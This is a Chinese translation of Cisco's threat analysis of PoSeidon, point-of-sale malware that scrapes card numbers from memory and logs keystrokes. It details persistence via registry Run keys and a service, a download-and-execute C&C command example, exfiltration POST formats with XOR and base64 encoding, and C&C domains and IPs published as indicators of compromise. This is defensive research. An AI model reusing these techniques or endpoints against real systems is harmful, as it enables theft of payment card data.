迄今为止最为复杂的PoS机恶意软件PoSeidon

思科安全解决方案(CSS)的研究人员们最近发现了一款新的针对PoS系统的恶意软件PoSeidon,这款恶意软件极为复杂,被称为是迄今为止最为复杂的PoS恶意软件。

当顾客在零售店购买商品时可能会用到PoS系统。使用信用卡或者借记卡,PoS系统就会读取信用卡背面磁条上储存的信息。一旦信息从商家处被窃取,它就能被编码进磁条,从而做出一张新卡。黑市会有卖这种信息,因为攻击者能够轻易地将窃取到的信用卡数据变现。涉及PoS恶意软件的事件数量一直在上升,影响了那些大公司,也影响了那些夫妻作坊式的小店,还吸引了很多媒体的关注。正是因为存在大量金融和个人信息,这些公司和PoS系统会一直成为对攻击者们极富吸引力的目标。

概况

今天要介绍的是一款新的针对PoS系统的恶意软件,这款软件会在PoS内存中寻找信用卡信息,并将这些信息发送到服务器,服务器使用了。ru顶级域名,这些信息可能会被重新卖出去。这个新的恶意软件家族(我们取名为PoSeidon)中有些组件,如下图所示:

20150324101310941

  首先它会加载Loader,它会试图留存在目标系统中,防止系统重启。Loader之后会联系命令与控制(command and control)服务器,接收一个包含另一个程序的URL,并下载执行。下载下来的程序是FindStr,它会安装一个键盘记录器,并且在PoS设备中扫描数字序列,这些数字序列就有可能是信用卡号码。如果经过验证,这些数字确实是信用卡号码,键盘记录和信用卡号码就会被编码并发送到一个服务器。

技术细节

键盘记录器

这个文件的SHA256校验值是334079dc9fa5b06fbd68e81de903fcd4e356b4f2d0e8bbd6bdca7891786c39d4,可能是PoS系统攻击的源头。我们把这个文件叫做键盘记录器(KeyLogger)是基于它的调试信息:

20150324101335528

  一旦被执行,这个文件就会把自身复制到%SystemRoot%\system32\<filename>.exe或者是%UserProfile%\<filename>.exe,并在HKLM(或者HKCU)\Software\Microsoft\Windows\CurrentVersion\Run处加入注册表项。

这个文件还会打开HKCU\Software\ LogMeIn Ignition,打开并删除PasswordTicket键值,获取Email键值,它还会删除注册表目录树HKCU\Software\LogMeInIgnition\<key>\Profiles\*。

文件会使用POST方法把数据发送到下列URI中的一个地址:

wondertechmy[.]com/pes/viewtopic.php

wondertechmy[.]ru/pes/viewtopic.php

wondwondnew[.]ru/pes/viewtopic.php

URI格式是

uid=%I64u&win=%d.%d&vers=%s

20150324101414932

  键盘记录器组件是用来窃取密码的,也有可能是感染机器的初始途径。

Loader

我们把这个文件叫做loader是基于它的调试信息:

20150324101435593

  一经运行,Loader会检查它是不是以以下两个文件名执行的:

WinHost.exe

WinHost32.exe

如果不是,它就会确保没有以WinHost名字正在运行的Windows服务。Loader会将自身复制到%SystemRoot%\System32\WinHost.exe,覆盖掉那里任何可能以相同名字命名的文件。接下来,Loader会启动一个名为WinHost的服务。

20150324101458798

  之所以要这么做是因为即使当前用户注销,它也要留在内存中。如果Loader不能将自己变成服务,它就会把在内存中的自己的其他实例终止掉。然后将自身复制到%UserProfile%\WinHost32.exe,并且安装注册表键HKCU\Microsoft\Windows\CurrentVersion\Run\\WinHost32。最后,它会创建一个新进程执行%UserProfile%\WinHost32.exe。

既然现在它可以一直留在系统中了,Loader就会执行下面的命令将自己删除:

cmd.exe /c del <path_to_itself> >> NUL在内存中运行的Loader会尝试读取%SystemRoot%\System32\WinHost.exe.cfg这里的配置文件。这份文件中有一个URL列表,这些URL列表是要被加到已经被硬编码到Loader的URL列表里的。

然后Loader会联系其中某个被硬编码的C&C服务器:

20150324101519879

  linturefa.com

xablopefgr.com

tabidzuwek.com

lacdileftre.ru

tabidzuwek.com

xablopefgr.com

lacdileftre.ru

weksrubaz.ru

linturefa.ru

mifastubiv.ru

xablopefgr.ru

tabidzuwek.ru

对应的IP地址:

151.236.11.167

185.13.32.132

185.13.32.48

REDACTED at request of Federal Law Enforcement31.184.192.19691.220.131.116

91.220.131.87

如果上面的某个域名解析到了某个IP地址,程序就会发送HTTP POST请求,请求使用下面的user-agent字串:

Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;.NET CLR 3.0.30729; Media Center PC 6.0)POST数据会被发送到:

<IP ADDRESS>/ldl01/viewtopic.php

<IP ADDRESS>/pes2/viewtopic.php

POST数据格式为:

uid=%I64u&uinfo=%s&win=%d.%d&bits=%d&vers=%s&build=%s

QQ截图20150411192225

  Loader应从C&C服务器获取这样的回应:

{<命令字符(CommandLetter)>:<参数(ArgumentString)>}

示例:

{R:http://badguy.com/malwarefilename.exe}

{b:pes13n|373973303|https://01.220.131.116/ldl01/files/pes13n.exe}

20150324101644794 (1)

  获取和执行了服务器响应中的可执行文件,PoSeidon的第二部分登场了。

FindStr

我们把这个文件叫做FindStr是基于它的调试信息:

20150324101706659

  这个文件会在系统中安装一个很小的键盘记录器,这个键盘记录器和这里的描述极为相似。这个键盘记录器截获的数据稍后会被发送至服务器。

这个恶意软件会在内存中寻找特定的数字序列:

以6, 5, 4开头的16位数字 (Discover, Visa, Mastercard信用卡)以3开头的15位数字(AMEX信用卡)然后它会使用Luhn算法验证这些数字是不是真的信用卡或借记卡号码,代码片段如下:

20150324101740341

  接下来,它会尝试解析下面的这些域名,其中有些域名是很有名的数据窃取服务器:

quartlet.com

horticartf.com

kilaxuntf.ru

dreplicag.ru

fimzusoln.ru

wetguqan.ru

如果上面的某个域名解析到了某个IP地址,程序就会发送HTTP POST请求,请求使用下面的user-agent字串:

Mozilla/4.0 (compatible; MSIE 8.0;Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;.NET CLR 3.0.30729; Media Center PC 6.0)POST数据会被发送到:

<IPADDRESS>/pes13/viewtopic.php

20150324101809530

  数据格式为:

oprat=2&uid=%I64u&uinfo=%s&win=%d.%d&vers=%s

20150324101824492

  可选的POST数据(data:信用卡号码,logs:键盘记录数据)&data=<与0x2A 进行了XOR运算,然后再base64编码的数据>&logs=<与0x2A进行了XOR运算,然后再base64编码的数据>发送到服务器上的信用卡号码和键盘记录器的数据都是经过XOR运算并且用base64编码了的。

服务器的回应应该是:

20150324101850800

  这个机制可以让恶意软件根据从服务器收到的指令进行自我更新。

Loader vs FindStr

20150324101929631

  使用Bindiff对未打包的Loader(版本11.4 )和未打包的FindStr(版本7.1)进行对比,结果显示62%的函数相同。恶意软件背后的攻击者可能开发了某些核心函数,并将它们编译进库,然后他们开发的其他项目可以直接使用这些函数了。

IOC

点击查看终端IOC版本

Win.Trojan.PoSeidon.RegistryItem.ioc

Win.Trojan.PoSeidon.ProcessItem.ioc

Win.Trojan.PoSeidon.FileItem.ioc

域名

linturefa.com

xablopefgr.com

tabidzuwek.com

linturefa.ru

xablopefgr.ru

tabidzuwek.ru

weksrubaz.ru

mifastubiv.ru

lacdileftre.ru

quartlet.com

horticartf.com

kilaxuntf.ru

dreplicag.ru

fimzusoln.ru

wetguqan.ru

IP地址:

151.236.11.167

185.13.32.132

185.13.32.48

REDACTED at request of Federal Law Enforcement31.184.192.19691.220.131.116

91.220.131.87

REDACTED at request of Federal Law Enforcement

结论

PoSeidon是又一个针对PoS系统的恶意软件,它显示出其作者的高超技术。攻击者会继续针对PoS系统进行攻击,并且使用各种混淆手段逃避检测。只要PoS攻击能够提供回报,攻击者们就会继续研发新的恶意软件。网络管理员们应该要保持警惕,并且使用最佳解决方案保证免受这些恶意软件的攻击

上一篇:小漏洞大影响:来看看希尔顿酒店官网的CSRF漏洞

下一篇:谷歌正为Gmail开发PGP端到端加密技术